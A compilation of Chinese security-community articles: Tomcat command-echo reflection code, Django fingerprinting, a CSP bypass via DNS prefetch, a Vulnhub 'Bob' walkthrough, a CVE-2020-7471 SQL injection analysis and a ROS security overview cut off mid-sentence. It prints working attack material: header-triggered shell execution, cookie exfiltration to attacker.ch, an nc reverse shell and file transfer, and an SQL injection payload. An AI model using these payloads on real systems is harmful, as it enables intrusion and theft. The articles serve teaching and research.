String str = t.getName();
//http-nio-8090-BlockPoller continue NoSuchField异常 i=3
if (str.contains("exec") || !str.contains("http")) {
continue;
}
**如何确定那些线程是需要的呢？**
（1）http-nio-8080-Acceptor为请求接收器，其只接收请求，不会对请求做任务业务处理操作，所以默认为单个线程。
（2）http-nio-8080-ClientPoller-0和http-nio-8080-ClientPoller-1为两个是作为轮询器或者转发器使用的，简单来说就是对获取到的SocketWrapper添加到一个线程池中进行处理，这种类型的线程数与CPU的核数有关。
（3）http-nio-8080-exec-1到10是tomcat的一个线程池产生的默认的10线程，这10个线程是用来执行具体的servlet请求操作，线程的数目可以跟随请求说的变化而变化。
以上3种类型的线程有点类似Reactor模式。Tomcat通过Connector中的Acceptor绑定8080端口并接收请求，然后通过Poller,Worker转交给`Http11Processor`解析出请求。ps:
8080均是指定端口
结合上面两张图和lucifaer大佬在文章[Tomcat通用回显学习](https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/)中所提交Processor对象，确定所需要的线程是`http-nio-xxxx-ClientPoller`。
利用IDEA功能导出线程栈部分数据如下，数据太多完整版上传GitHub中。不难分析这里出现了`Poller`对象，有`Poller`就会有`Processor`对象。
"http-nio-8090-ClientPoller@5462" daemon prio=5 tid=0x2d nid=NA runnable
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.WindowsSelectorImpl$SubSelector.poll0(WindowsSelectorImpl.java:-1)
at sun.nio.ch.WindowsSelectorImpl$SubSelector.poll(WindowsSelectorImpl.java:296)
at sun.nio.ch.WindowsSelectorImpl$SubSelector.access$400(WindowsSelectorImpl.java:278)
at sun.nio.ch.WindowsSelectorImpl.doSelect(WindowsSelectorImpl.java:159)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- locked <0x1682> (a sun.nio.ch.WindowsSelectorImpl)
- locked <0x168a> (a java.util.Collections$UnmodifiableSet)
- locked <0x168b> (a sun.nio.ch.Util$2)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:816)
at java.lang.Thread.run(Thread.java:745)
* * *
### 获取Processor对象
1. 进入线程`ClientPoller`之后，T基本类型变成了java.lang.Thread。反射获取其中`target`字段，该字段的类型是`Runnable`。
//str = http-nio-8090-ClientPoller 进入下面 ps: i=14
// java.lang.Thread
f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
// obj -> NioEndpoint$Poller实例化对象
Object obj = f.get(t);
// NioEndpoint$Poller implements Runnable
if (!(obj instanceof Runnable)) {
continue;
}
1. `NioEndpoint$Poller`是实现了Runnable接口
1. 这里是一个匿名内部类（NioEndpoint$Poller）获取持有的外部类对象（NioEndpoint）的操作，参考补充小知识this$0。
// this$0 是NioEndpoint对象
f = obj.getClass().getDeclaredField("this$0");
f.setAccessible(true);
1. 获取到NioEndpoint对象之后，向上获取Handler对象。 NioEndpoint extends AbstractJsseEndpoint<NioChannel, SocketChannel>然而在AbstractJsseEndpoint中是没有Handler字段对象的， 但在其extends `AbstractEndpoint`中是存在AbstractEndpoint$Handler字段。
// f.get(obj) --> org.apche.tomcat.util.net.NioEndpoint 对象
obj = f.get(obj);
// NioEndpoint extends AbstractJsseEndpoint<NioChannel, SocketChannel> --> extends AbstractEndpoint$Handler
// AbstractEndpoint$Handler 是一个接口，在org.apche.coyote.AbstractProtocol$ConnectionsHanhler实现
try {
f = obj.getClass().getDeclaredField("handler");
} catch (NoSuchFieldException e) {
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
// obj --> org.apche.coyote.AbstractProtocol$ConnectionsHanhler
f.setAccessible(true);
obj = f.get(obj);
1. 在AbstractEndpoint$Handler是一个接口，其实现类`AbstractProtocol$ConnectionsHanhler`是所需要的Handler。ConnectionsHanhler中是包含`global`字段。
// obj --> org.apche.coyote.AbstractProtocol$ConnectionsHanhler
try {
f = obj.getClass().getSuperclass().getDeclaredField("global");
} catch (NoSuchFieldException e) {
// obj --> AbstractProtocol$ConnectionsHanhler
f = obj.getClass().getDeclaredField("global");
}
1. 获取到`RequestGroupInfo`对象，在`RequestGroupInfo`之中有包含`Processor`对象`list`。
// obj --> org.apche.coyote.RequestGroupInfo
f.setAccessible(true);
obj = f.get(obj);
f = obj.getClass().getDeclaredField("processors");
f.setAccessible(true);
// processors --> List<RequestInfo>
java.util.List processors = (java.util.List) (f.get(obj));
1. 获取到Processor对象之后，接着获取`Request`和`Response`，在然后就是一段读写操作。
// processors.size() == 1
for (int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
f = processor.getClass().getDeclaredField("req");
f.setAccessible(true);
// org.apche.coyote.Request
Object req = f.get(processor);
// org.apche.coyote.Response
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
// header cc: "cmd"
str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"CC"});
if (str != null && !str.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(),charsetName)).useDelimiter("\\A").next().getBytes(charsetName);
try {
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
obj = cls.newInstance();
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
} catch (NoSuchMethodException var5) {
Class cls = Class.forName("java.nio.ByteBuffer");
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
}
flag = true;
}
* * *
## 总结
本篇文章从Thread角度出发，分析如何一步步获取`Processor`对象，再到`RequestGruopInfo`对象，最后获取`Response`并写入回显结果。本文并没有过多分析为什么要获取这些对象，这些内容在其他大佬的文章均有写到。这里推荐我看的时间最久文章[Tomcat通用回显](https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/)。
* * *
## 补充小知识
### Field.get()
> 返回这个字段在指定对象上所代表的字段的值。如果该值有一个原始类型，它将被自动包装在一个对象中。
> 底层字段的值是按如下方式获得的。
> 如果底层字段是一个静态字段，obj参数被忽略；它可能是空的。
>
> 否则，底层字段是一个实例字段。如果指定的obj参数为空，该方法会抛出一个NullPointerException。如果指定的对象不是声明底层字段的类或接口的实例，该方法会抛出一个IllegalArgumentException。
>
> 如果这个字段对象正在执行Java语言的访问控制，并且底层字段是不可访问的，该方法会抛出一个IllegalAccessException。如果底层字段是静态的，声明该字段的类将被初始化，如果它还没有被初始化。
> 否则，该值将从底层实例或静态字段中检索出来。如果字段有一个原始类型，那么在返回之前，该值会被包裹在一个对象中，否则会原样返回。
> 如果字段被隐藏在obj的类型中，那么字段的值将根据前面的规则获得。
大致作用就是返回该字段的实例对象，如果字段不是类和接口的实例就会报错。
* * *
### this$0
this$0是指获取匿名内部类持有的外部类对象，大致意思如下，`ThirdInner`的外部this$0类对象是`Outer`。更多内容可以参考[获取Java匿名内部类持有的外部类对象](https://www.jianshu.com/p/9335c15c43cf)。
public class Outer {//this$0
public class FirstInner {//this$1
public class SecondInner {//this$2
public class ThirdInner {
}
}
}
}
* * *
## 参考
<https://zhuanlan.zhihu.com/p/85448047>
<https://blog.csdn.net/qq924862077/article/details/79617621>
[https://lucifaer.com/2020/05/12/Tomcat通用回显学习/](https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/)
<https://lgtm.com/query/1252408723639078309/> | 社区文章 |
作者：[ **phith0n@长亭科技**](https://www.leavesongs.com/PENETRATION/detect-django.html)
在黑盒测试的情况下，如何判断一个站是否是 Django
开发的？以下这些方法，很多都能在[我的博客](https://www.leavesongs.com)得到印证。
#### 利用 Debug 模式异常页面判断
DEBUG 模式开启时，访问不存在的页面或出错的页面会有特殊的异常抛出。像这样的页面，就可以确定是Django
#### CSRF Token 名称确认
访问一个包含表单的页面，表单中会有一个隐藏的 input ，用来做 CSRF 检测的 Token ，其名字比较独特， csrfmiddlewaretoken
：
遇到有这个名字的表单，基本可以确定是 Django 。
假如开发者将`csrfmiddlewaretoken`这个名字换了，怎么办？
随便向目标的某个页面 POST 一个数据包，因为缺少 CSRF TOKEN ，如果目标网站是 Django，它将给你一个颇具其特色的错误页面：
#### 利用后台确认
Django 默认安装后会自带一个后台，地址是 /admin（不过大多数网站会替换后台地址）：
遇到这个样式的后台界面，可以确定是Django。
#### 利用HTTP头
有的 Django 站点会返回 Server 头：
虽然不能100%确定是 Djnago ，但范围就缩的很小了。
#### 通过一些细节判断
有些细节虽然不能100%确定是 django ，但多个细节组成在一起就可以基本确定了。
比如，Django 输出的 html 中通常会有很多空白行，因为这些位置放的是逻辑语句，Django 不像 jinja2
中会提供`{%-`这样清除空白行的方法：
再比如，Django默认找回密码的链接是`/password_reset/`，邮件发送成功是`/password_reset/done/`，找回密码链接是`reset/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/`，找回密码成功是`/reset/done/`，正常修改密码是`/password_change/`，修改成功是`/password_change/done/`。
不过这些链接都可以改，只能用作参考。
再比如，django
文件上传的目录通常叫`media`，注册时密码要求8位以上数字加字母，分页通常是`?page=2`而不会是`/page/2/`，表单输入框的id通常是`id_xxxx`，中文的情况下还会有一些特定的翻译语句，如`请上传一张有效的图片。您所上传的文件不是图片或者是已损坏的图片。`、`CSRF验证失败.
相应中断.`等。
#### 通过一些第三方模块的特点判断
Django 之所以好用，因为其代码耦合性很低，所以有丰富的第三方模块可以直接使用。通过这些模块的特点也能判断目标网站是否是 Django 。
常用的第三方模块有django-rest-framework、django-debug-toolbar、django-bootstrap3、django-filter、django-cron、django-allauth、django-simple-captcha等。
比如，django-rest-framework 默认包含一个登陆页面，`/api-auth/login/`：
再比如，django-simple-captcha 生成的验证码会包含一个名字是`captcha_0`，值为40位 hex 的隐藏输入框。
这些第三方库的特点也可以辅助你判断，就是需要收集与细心观察了。
#### 必杀技：用静态文件分析
有的网站可能修改了 Django 的后台地址，但 Django 后台所使用的静态文件地址通常没有修改，也较难修改。访问这些静态文件地址，看看内容是否是
Django 的这一套，就可以确定目标是否为 Django ：
如:
https://www.leavesongs.com/static/admin/css/dashboard.css 、
http://www.wuzheng.org/static/admin/css/dashboard.css 、
http://static.fuwo.com/static/admin/css/dashboard.css 、
http://www.lintcode.com/static/admin/css/dashboard.css
我就不罗列了。
但这个方法有个局限，如果目标网站没有使用 Django 自带的 django-admin （未将其包含在 settings.py 的
INSTALLED_APPS 中），就没有这个静态文件了。
* * * | 社区文章 |
# 【技术分享】利用DNS预读取技术绕过CSP
|
##### 译文声明
本文是翻译文章，文章来源：compass-security
原文地址：<https://blog.compass-security.com/2016/10/bypassing-content-security-policy-with-dns-prefetching/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
稿费：180RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**介绍**
内容安全策略（CSP）是目前最主要的Web安全保护机制之一，这个功能可以有效地帮助管理员降低网站遭受跨站脚本攻击（XSS）和代码注入攻击的可能性。内容安全策略可以让扩展程序在默认情况下变得更加安全，开发者可以创建并强制部署一些安全管理规则，并规定网站可以获取或加载的内容。
内容安全策略以白名单的机制来管理网站加载或执行的资源。在网页中，这样的策略是通过 HTTP 头信息或者 meta
元素来定义的。内容安全策略虽然提供了强大的安全保护，但是它也造成了如下的一些问题：Eval及相关函数被禁用、内嵌的JavaScript代码无法得到执行、以及只能通过白名单来加载远程脚本。这些问题阻碍了内容安全策略的普及，如果想要使用内容管理策略来保护自己的网站，开发者就不得不花费大量时间去分离内嵌的JavaScript代码并对网站作出调整。
需要注意的是，虽然这个功能可以防止攻击者从外部网站来跨域加载恶意代码，但是内容安全策略并不是一种用来防止数据发生泄漏的技术。目前有很多安全研究专家已经提出了各种各样的技术来绕过内容安全策略，并从目标网站中提取出所需数据。在这篇文章中，我们将主要讨论如何利用DNS预读取机制来绕过内容安全策略并提取数据。如果你还想了解更多关于内容安全策略的信息，请参阅我们之前所发表的文章[[文章链接](https://blog.compass-security.com/2016/06/content-security-policy-misconfigurations-and-bypasses/)]或访问CSP官方网站[[传送门](http://content-security-policy.com/)]。
**
**
**浏览器的DNS预读取机制**
浏览器是我们通向互联网世界的大门，而为了让用户获取最佳的上网体验，我们就要尽可能地保证用户的上网速度。因此，网络中每一秒所发生的事情都至关重要。为了实现这个目标，目前较为有效的方法就是浏览器所采用的DNS预读取技术。这项技术的关键之处在于，系统会预先将主机的域名解析为对应的IP地址，然后再将这部分数据缓存已备之后使用。浏览器可以从接收到的页面内容中获取到预解析的主机名称，这样就可以帮助用户节省大量的时间了。
为了管理浏览器的DNS自动预读取功能，我们将需要使用HTTP Header中的“X-DNS-Prefetch-Control”属性[[参考资料1](https://developer.mozilla.org/en-US/docs/Web/HTTP/Controlling_DNS_prefetching)][[参考资料2](http://dev.chromium.org/developers/design-documents/dns-prefetching)]：
x-dns-prefetch-control: off
这个Header属性有两个值：即“on”或者“off”。默认情况下，如果我们没有专门设置这个属性值的话，使用HTTP协议的页面将会默认启用DNS自动预读取功能，而使用HTTPS进行传输的网页则无法使用该功能。除此之外，开发人员也可以通过在浏览器中使用<link>标签来指定需要进行预解析操作的主机名。比如说，下面这个标签将会让浏览器对域名compass-security.com执行DNS预读取：
<link rel=”dns-prefetch” href=”compass-security.com”>
**漏洞利用**
毫无疑问，这项技术确实可以大大降低浏览器加载某些网页所需的时间。但是与此同时，这个功能也将允许攻击者绕过内容安全策略并从浏览器中提取出类似会话cookie以及用户凭证这样的重要数据。接下来，我将会给大家介绍这种攻击技术的实现机制。
**请你设想下面这种场景：**
攻击者在某个Web应用中发现了一个XSS漏洞，他可以利用这个漏洞来向目标Web应用注入某些恶意的JavaScript代码。但是在内容安全策略的保护下，攻击者无法向他所控制的外部服务器发送任何的数据，所以他也就无法获取到用户的隐私数据了。这个Web应用所设置的内容安全策略非常严格，具体如下所示：
Content-Security-Policy: default-src 'none'; script-src 'self'
从上面这段命令中我们可以看到，这个Web应用所设置的内容安全策略只允许网站加载来自内部的脚本资源。
但是在DNS自动预读取机制的帮助下，攻击者就可以将他所需要获取的数据包含在有效的DNS域名内，并通过这样的方法来绕过内容安全策略的限制。比如说，会话cookie的值为“abcd1234”，这个值将会与域名进行组合，即转换成“abcd1234.attacker.ch”这种形式，而这个值可以通过下面这个<link>标签来插入至页面的DOM对象中：
<link rel="dns-prefetch" href="//abcd1234.attacker.ch">
接下来，攻击者就可以使用下面这段JavaScript代码来将上面这个<link>标签注入至目标页面：
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
// injecting the link tag in the HTML body force the browser
// to prefetch the given domain
body.innerHTML = body.innerHTML + "<link rel="dns-prefetch"
href="//" + sessionid + "attacker.ch">";
执行完上面这段JavaScript代码之后，浏览器便会开始进行DNS预读取操作，此时域名“abcd1234.attacker.ch”将会被解析。接下来，攻击者只需要在他的DNS服务器中记录下这些DNS请求，然后再从中读取出泄漏信息就可以了。获取到的信息如下图所示：
**
**
**总结与缓解措施**
这种攻击方法也暴露出了目前内容安全策略的缺点和局限性，因为它并没有考虑到DNS预读取机制中潜在的数据泄漏问题。在与CSP的制定者进行了沟通之后我们了解到，数据泄漏问题从来都不是这个项目的主要考虑因素，设计这个功能的目的主要是为了防止跨站脚本攻击（XSS）。
目前，对于这种以DNS预读取机制为载体的攻击方法，我们还没有相应的应对策略。需要注意的是，火狐浏览器是目前唯一一款允许通过“X-DNS-Prefetch-Control ”header属性来禁用DNS预读取功能的浏览器。
虽然内容管理策略还存在很多的问题，但是我们仍然建议并鼓励大家使用内容管理策略。出于安全方面的考虑，我们也建议大家一定要对用户的输入进行严格的验证，并且对网站的输出数据进行加密或者编码。从某种程度上来说，这些做法可以将很多安全问题消灭在萌芽状态。
**
**
**参考资料**
1.<http://content-security-policy.com/>
2.<http://tobias.lauinger.name/papers/csp-raid2014.pdf>
3.<http://www.cse.chalmers.se/~andrei/asiaccs16.pdf>
4.<https://www.w3.org/TR/CSP/>
5.<https://developer.mozilla.org/en-US/docs/Web/HTTP/Controlling_DNS_prefetching>
6.<http://dev.chromium.org/developers/design-documents/dns-prefetching> | 社区文章 |
# The Game Of Bob_1.0.1
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 题记
最近在打靶机，发现了一个挺有意思又挺有技巧性的靶机，这里想跟大家分享一下，各位大佬轻喷。
## 环境准备
<https://download.vulnhub.com/bob/Bob_v1.0.1.ova> (靶机下载地址)
攻击机 Kali IP 192.168.107.129
靶机在同一C段下
## 主机发现
使用命令`nmap -sP 192.168.107.1/24`
192.168.107.1是我物理机的ip，而192.168.107.254是结束ip。所以说我们的靶机ip就是192.168.107.132.
## 端口扫描
使用命令`nmap -sS 192.168.107.132`
我们发现只开放了一个web 80端口，我们访问。
上面虽说有Home之类的选项。但是点不动的，没用。所以说web页面上没什么搞头，所以我们从目录下手
## 目录扫描
这里我使用御剑扫描，可以看到，扫出来了robots.txt访问，看到如下几个根目录。依次访问一下。login.php直接是404。passwords.html是lat_memo.html是这两个页面都没什么有用的信息。接下来是dev_shell.php。这才是本次靶机的突破口。
## 寻找突破口
一开始，我天真的以为这是一个后面。。。拿起burp就去爆破密码，半天爆不出来。再回头来看，发现有个Output。想一想会不会是一个执行命令的。试一试果然，执行了命令，当我使用`ls`时，页面没有了回显。于是我推测，应该是ls被禁用了，但是不要忘了，ls还有个加强版的命令(也不能说是加强版，理解意思就行)。`lsattr`，我们试一试，没用过滤，这下可以看到很多有用的东西。比如说这个./dev_shell_php.bak，这很明显是个源码泄露，我们把源码DOWN下来。看到上面过滤了一些命令，其中包括我们可能用到的`ls，nc，cat`。
其实这样也可以一步一步进行信息的搜集但是，每次都要输这么多，显然是很麻烦的。所以我想反弹一个shell到我的攻击机上。但是nc都被禁了，这里用了很多方式，最后发现这种方式能够绕过，直接去/bin里使用命令，比如我使用cat使用命令`/bin/cat
robots.txt`
## 获取会话
知道怎么绕过nc，接下来就是获得会话了，首先在我的攻击机上使用命令`nc -lvp 4444`，接着在执行命令界面使用 `/bin/nc -e
/bin/sh 192.168.107.1 4444`。然后，成功获取会话。`whoami` 可以看到我们目前的权限。为了美化一下界面，产生一个TTY
Shell 使用`python -c 'import
pty;pty.spawn("/bin/bash")'`。接着`ls`看下目录下的文件，有个flag.txt，应该是没权限查看的
## 获得密码
进入home目录，查看一下有哪些用户。先看bob吧，可以看到两个文件和一个目录，那个login.txt.gpg是gpg加密的，需要密码，所以，现在的目标，就是要搞到密码。同目录下还有个Secret，跟进去看看。这个地方，需要有某种常识。。。这个地方也是卡了半天。。就是这个，可以发现就是个所谓的“藏头诗”这也是比较有意思的，不知道确实就真的不知道了。。所以，密码自然就是这个每一句的开头了。然后我们使用命令解密`gpg
--batch --passphrase HARPOCRATES -d
login.txt.gpg`。结果还是没法这里又卡了半天，我是这样做的👉：用nc将该文件转发到我的攻击机上，再用gpg解密。
1. 先在攻击机上`nc -lvp 1235 > login.txt.gpg`。意思是接收的文件是login.txt.gpg
2. 在靶机上先切换到/home/bob/Documents下，接着使用命令`nc -w 3 192.168.107.129 1235 < login.txt.gpg`。
接着`ctrl c`结束，查看已经被转移过来了，然后，再次使用解密命令解密。解密成功。获得了bob的密码。
## Get flag
登陆bob的账号。`su bob`。然后我直接`sudo cat flag.txt`。就得到了flag
审核人：yiwang 编辑：边边 | 社区文章 |
这几天疫情爆发，只能待在家里为社会多做些贡献，一天深夜无意逛安全资讯的时候发现最新的一个漏洞：CVE-2020-7471 Potential SQL
injection via StringAgg(delimiter)。漏洞是 django 的，于是我将漏洞编号拿到 google
查找了一番，发现并没有找到任何关于这个漏洞的详细说明和利用 POC，于是我动手写下了这篇文章。
本文主要贡献：
* 总结了该漏洞的起因和背景，并深入分析了官方的修复方案
* 详细分析了 这个 SQL 漏洞，并给出利用姿势
* 在本文公开自己搭建的漏洞环境和 POC
### 漏洞原因
摘录 CVE-2020-7471 对这个漏洞的描述：
> Django 1.11 before 1.11.28, 2.2 before 2.2.10, and 3.0 befor
>
>
> e 3.0.3 allows SQL Injection if untrusted data is used as a StringAgg
> delimiter (e.g., in Django applications that offer downloads of data as a
> series of rows with a user-specified column delimiter). By passing a
> suitably crafted delimiter to a contrib.postgres.aggregates.StringAgg
> instance, it was possible to break escaping and inject malicious SQL.
可以看见这个漏洞的核心是 StringAgg 聚合函数的 delimiter 参数存在 SQL
注入漏洞。但是很快，为什么存在漏洞？怎么利用这个漏洞？二个问题在我心中油然而生，好奇心驱使我继续往下探索：
### 官方修复
首先在 Github 仓库查找 django 的 commit 记录，在这里不难发现官方对其的修复：
<https://github.com/django/django/commit/eb31d845323618d688ad429479c6dda973056136>
从这里我们知道几个信息，漏洞函数位于下面的模块之中
from django.contrib.postgres.aggregates import StringAgg
官方对 delimiter 使用如下语句处理来防御 django
Value(str(delimiter))
为什么这种方式能防御呢？首先补充一个知识点，如果你熟悉 django 或者至少做过 django 渗透，你应该知道在 django
开发中编写查询操作的时候，正确的做法是用下面的代码段：
sql = "SELECT * FROM user_contacts WHERE username = %s"
user = 'zhugedali'
cursor.execute(sql, [user])
django会根据你所使用的数据库服务器（例如PostSQL或者MySQL）的转换规则，自动转义特殊的SQL参数。如果你的查询代码像下面这种写法就存在注入的风险：
sql = "SELECT * FROM user_contacts WHERE username = %s" % 'zhugedali'
cursor.execute(sql)
那么回到正题，为什么 Value 函数可以解决 SQL 注入隐患，我们跟进 django 的源码查看：
注释写的非常清楚，Vlue处理过的参数会被加到sql的参数列表里，之后会被 django 内置的过滤机制过滤，从而防范 SQL 漏洞。
到这里想必很多读者还是很好奇对于存在漏洞的版本我们如何去利用 SQL 漏洞呢？这就需要费点时间去搭建环境并从源码层面分析出 SQL 漏洞点的上下文语句情况。
### 漏洞利用
我搭建的环境如下：
* django 3.0.2
* postgres 10.11-3
* python 3.6
搭建环境的时候注意 django 配置好 settings.py 文件，并初始化 postgres 的数据库和数据表，文末会提供环境。
首先研究一下 StringAgg 的用法，直接阅读官方手册：
<https://docs.djangoproject.com/en/3.0/ref/contrib/postgres/aggregates/>
django.contrib.postgres.aggregates 提供 postggres 的聚合函数，其中的 StringAgg 类的参数如下：
简单来讲他会将输入的值使用 delimiter 分隔符级联起来，Django 的 Model 类如何使用这个让我摸索了一会，我直接给出后面会提供的 POC
里面的示例：
Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter="-"))
这个查询操作就是查询 Info 对应的 postgres 数据表的 gender 列，并将 name 列使用横线连接聚合，输入如下：
为了测试出 delimiter 是如何导致SQL 注入的，我首先编写了一段 FUZZ 程序用于引发程序报错：
for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
for e in results:
pass
测试发现当 delimiter 是单引号的时候会导致报错：
从报错信息很明显看出单引号未经过任何转义嵌入到 SQL 语句中了。然后我们来追踪程序的内部找出完整的 SQL 语句上下文。
我们上面的查询语句调用了 self.cursor.execute，从变量窗口可以看到此时变量窗口的 sql 变量还没有嵌入 delimiter 的值。
在 86 行设置断点，再运行三次可以看到此时的 sql 已经加入了 delimiter 为单引号的取值：
这里的转义号是因为 sql 是个字符串，这行命令最终放入 postgres 中执行就变成了：
SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", ''') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1
三个单引号那里会导致语法错误，并且我们将完整的 SQL 注入上下文环境得到了。在我的 POC 中我测试了 postgres 的注释符，即将
delimiter 设置为 `')--`，报错如下：
很明显可以看到成功注释了 FROM 语句。为了构造合法的上下文语句我们将 delimiter 设置为：
'-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
传入之后发现，输出是：
{'gender': 'male', 'mydefinedname': 'li-zhao'}
如果只传入 `delimiter = '-'`，输出如下：
{'gender': 'female', 'mydefinedname': 'zhang'}
{'gender': 'male', 'mydefinedname': 'li-zhao'}
至此漏洞证明完毕
进一步，我们可以思考近期如果遇到真实环境中有 django
开发的服务返回一些查询的聚合内容，并且允许用户指定哪种连接符的时候，应该多加思考是否该服务未更新为最新版本，可以尝试这个 CVE 漏洞。
### 漏洞环境和 POC
<https://github.com/Saferman/CVE-2020-7471>
核心函数如下:
def query_with_evil():
'''
注入点证明
分别设置delimiter为 单引号 二个单引号 二个双引号
尝试注释后面的内容 ')-- :return:
'''
print("[+]正常的输出：")
payload = '-'
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
for e in results:
print(e)
print("[+]注入后的的输出：")
payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
for e in results:
print(e) | 社区文章 |
**作者：京东安全 Dawn Security Lab
原文链接：<https://dawnslab.jd.com/rossec02/#more>**
## **ROS** **安全方案**
### **ROS 1.0** **安全方案**
在上一期文章中，我们介绍了 ROS 安全研究的多个阶段。在第二阶段，ROS 1.0
的安全风险充分暴露，业界涌现了众多安全方案，主要解决身份认证、加密通信、访问控制等风险。在各方案中，SROS
安全特性相对全面，同时具备较好的易用性（部署工具/脚本），是 ROS 社区推荐方案。（需要说明的是，因ROS 本身演进规划，ROS 1.0
无官方安全方案。ROS 社区未来更多聚焦在 ROS 2.0）
#### 方案
##### [rosauth](https://web.cs.wpi.edu/~cshue/research/tepra14.pdf)
【目的】解决远程客户端访问 ROS 身份认证问题
【实现】ROS 系统运行在隔离网络域内；远程客户端在通过 SSL 在外部 Authenticator 进行身份鉴权并获取 token；远程客户端使用
token，通过 SSL访问 ROS；ROS 校验 token，允许或拒绝访问。
【不足】未解决身份认证后的 Authorization 问题
#####
[ROSRV](https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.1063.8693&rep=rep1&type=pdf)
【目的】实现 ROS 通信实时监控管理
【实现】ROS Runtime Verification 使用 Man-in-the-Middle 技术，通过增加 RVMaster 节点，实时监控 ROS
1.0 内部消息，同时可配置访问控制策略进行访问控制。
【不足】访问控制基于 IP，RVMaster 中心化设计在节点数过多时的 scalability 问题
##### Secure ROS Transport
【目的】解决 ROS 通信安全与访问控制
【方案 1】应用层方案，使用外部 Authentication Server 实现 publisher-subscriber
之间的身份认证与加密通信。优点是无需改动 ROS，缺点是应用层实现，无法阻止类似 DoS 攻击。
【方案 2】通信层方案，使用证书+TLS 解决节 点间身份认证、加密通信、访问控制问题。缺 点是没有解决 master 节点安全问题。
##### [Secure
ROS](https://roscon.ros.org/2017/presentations/ROSCon%202017%20SecureROS.pdf)
【目的】解决 ROS 通信安全与访问控制
【方案】基于 IPSec 实现身份认证与加密通信，使用系统配置文件实现集中式访问控制。优点是安装方便，不足是访问控制等基于IP 粒度。
##### SROS
【目的】解决 ROS 通信安全与访问控制
【方案】基于 TLS+证书机制解决身份认证、加密通信、访问控制问题。使用经过证书签名的配置文件进行集中式访问控制，细粒度。不足是需要源码安装及相关配置。
### **ROS 2.0** **安全方案**
ROS 2.0 阶段，因组件 DDS 自带安全特性原因，安全方案有了统一框架，并形成 [SROS
2](https://ruffsl.github.io/IROS2018_SROS2_Tutorial/)。命名 SROS 2是为继承和区分 SROS
方案，但不同于 SROS，SROS2 是 ROS2 官方标准并集成在主线中。
SROS2 具体来说，指在 ROS 2 基础上为使能 DDS-Security 所做的特性适配和工具集，故
**SROS 2 = ROS 2 + DDS-Security Enable**
ROS 2 适配修改主要有两个，一个是 RCL（ROS Client Library）层修改，一个是 SROS 2 utilities 工具 集。RCL
修改主要是安全特性开关和策略配置，具体如ROS_SECURITY_ENABLE (true/false)、ROS_SECURITY_STRATEGY
(Enforce/Permissive)、 ROS_SECURITY_KEYSTORE (key files directory)
等参数实现和支持。SROS 2 utilities 工具主要解决 PKI 秘钥证书和控制策略文件的管理，具体如 CA 和KEYSTORE
根目录管理、节点公私钥和证书创建部署、访问控制策略文件（Governance/Permission）创建部署等。
如上图所示，SROS 2 通过 PKI
机制，解决节点间通信安全，包括身份认证、加密通信；通过策略配置文件（Governance、Permission，证书签名），实现集中式访问控制。
关于访问控制，首先，Governance 文件限制 domain 域的整体访问控制策略，如节点访问控制（是否允许未授权节点访问，是否允许被发现），以及
domain 内部 topic 访问控制（是否允许被发现、是否允许未授权读写）等。其次，每个节点的 Permission 限制自己的访问权限，如是否允许对某
topic 读写。
因 DDS 是标准规范且有开源、商业不同实现，ROS 2 增加了 DDS 抽象适配层 RMW，如上图所示。
## **机器人安全趋势**
ROS 是目前最主流的机器人操作系统框架，ROS 安全经过多年研究和发展，在风险分析和安全方案维度已有不小进步，ROS 2 中已有了基于 DDS
